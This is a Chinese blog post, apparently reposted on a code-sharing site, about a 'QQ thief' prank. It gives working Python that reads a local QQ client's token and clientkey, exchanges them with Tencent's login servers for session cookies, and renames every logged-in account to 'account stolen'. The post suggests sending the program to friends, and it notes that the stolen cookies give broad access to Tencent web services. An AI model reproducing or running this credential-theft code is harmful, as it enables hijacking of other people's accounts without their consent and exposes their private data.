QQ大盜 - 巧用clientkey


場景:

1.將程序發給好友,好友打開 qq昵稱就會被秒改為”賬號已被盜“。

2.將程序運行在自己的電腦,讓那些隨意借用電腦看片聊天的室友產生一個覺悟:亂使用別人電腦很可能會泄露隱私。

 

思路:

通過數據包模擬網頁中的qq快速登錄,拿到登錄憑證(Cookie)修改qq昵稱 實現賬號被盜的假象。

1、local_token:

qq快速登錄是基於qq的客戶端實現的,qq客戶端啟動時會生成一個local_token(保存在本地的一個鑰匙),通過local_token訪問qq客戶端的本地服務器(4301端口)可以獲取到電腦上登錄的所有qq賬號。

2、clientkey:

僅僅知道qq賬號肯定是無法登錄的,還要拿clientkey。可以把clientkey理解成密碼,qq客戶端登錄成功時會生成這個值,每個成功登錄的賬號都有自己的clientkey 相互匹配,只要拿到賬號的clientkey就可以偷偷快速登錄了。

3、cookies:

前面兩步其實都是在本地網絡下完成的,驗證於qq客戶端的本地服務器。現在提交uin+clientkey模擬快速登錄是需要騰訊的遠程服務器來驗證的,驗證通過就可以拿到登錄憑證了(Cookies)。

4、ldw:

通過前幾步我們已經拿到登錄憑證了,可以為所欲為訪問騰訊所有web端的服務了,現在我想修改賬號的昵稱。

我選擇了通過qq個人中心的一個接口修改昵稱,這個接口需要一個ldw值,並不復雜,一個get請求就能拿到。

 

實現:

以下使用python編程語言操作。

from urllib import request
from http import cookiejar
import json
import re

opener=None
cookie=None
local_token=None
json_uins=None

def modNick(index,nick):
    clientuin=json_uins[index]['account']
    clientkey=None
    ldw=None

    #拿到clientkey
    url = 'https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin='+clientuin+'&callback=ptui_getst_CB&r=0.810010167110566&pt_local_tk=' + local_token
    opener.open(url)
    for item in cookie:
        if (item.name == 'clientkey'):
            clientkey = item.value
            break

    #登錄
    url='https://ssl.ptlogin2.qq.com/qqid?pt_clientver=5563&pt_src=1&keyindex=9&sid=5&ptlang=2052&clientuin='+clientuin+'&clientkey='+clientkey
    opener.open(url)

    #拿到ldw
    url="http://id.qq.com/cgi-bin/get_base_key?r=0.9431299830075388"
    opener.open(url)
    for item in cookie:
        if (item.name == 'ldw'):
            ldw = item.value
            break

    #修改昵稱
    url = 'http://id.qq.com/cgi-bin/userinfo_mod'
    data = '&n=' + nick + '&ldw=' + ldw
    res = opener.open(url, bytes(data, 'utf-8'))
    data = res.read()

if __name__=='__main__':

    #opener初始化
    cookie=cookiejar.CookieJar()
    opener=request.build_opener(request.HTTPCookieProcessor(cookie))
    opener.addheaders = [('Referer','https://xui.ptlogin2.qq.com')]

    #拿到local_token
    url='https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=1006102&daid=1&style=23&hide_border=1&proxy_url=http%3A%2F%2Fid.qq.com%2Flogin%2Fproxy.html&s_url=http://id.qq.com/index.html'
    opener.open(url)
    for item in cookie:
        if(item.name == 'pt_local_token'):
            local_token=item.value
            break

    #拿到uins
    url='https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.21624413130736064&pt_local_tk='+local_token
    res=opener.open(url)
    json_uins=json.loads(re.compile('var var_sso_uin_list=(.*?);').findall(str(res.read(),'utf-8'))[0])

    #修改昵稱
    for index in range(0,len(json_uins)):
        modNick(index, '帳號已被盜!')

最后說幾句:

改個昵稱啥的都是小事情,拿到Cookies可以做到的事情太多了。請以自我娛樂的意識去研究擴展,不要干擾影響他人網絡環境。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM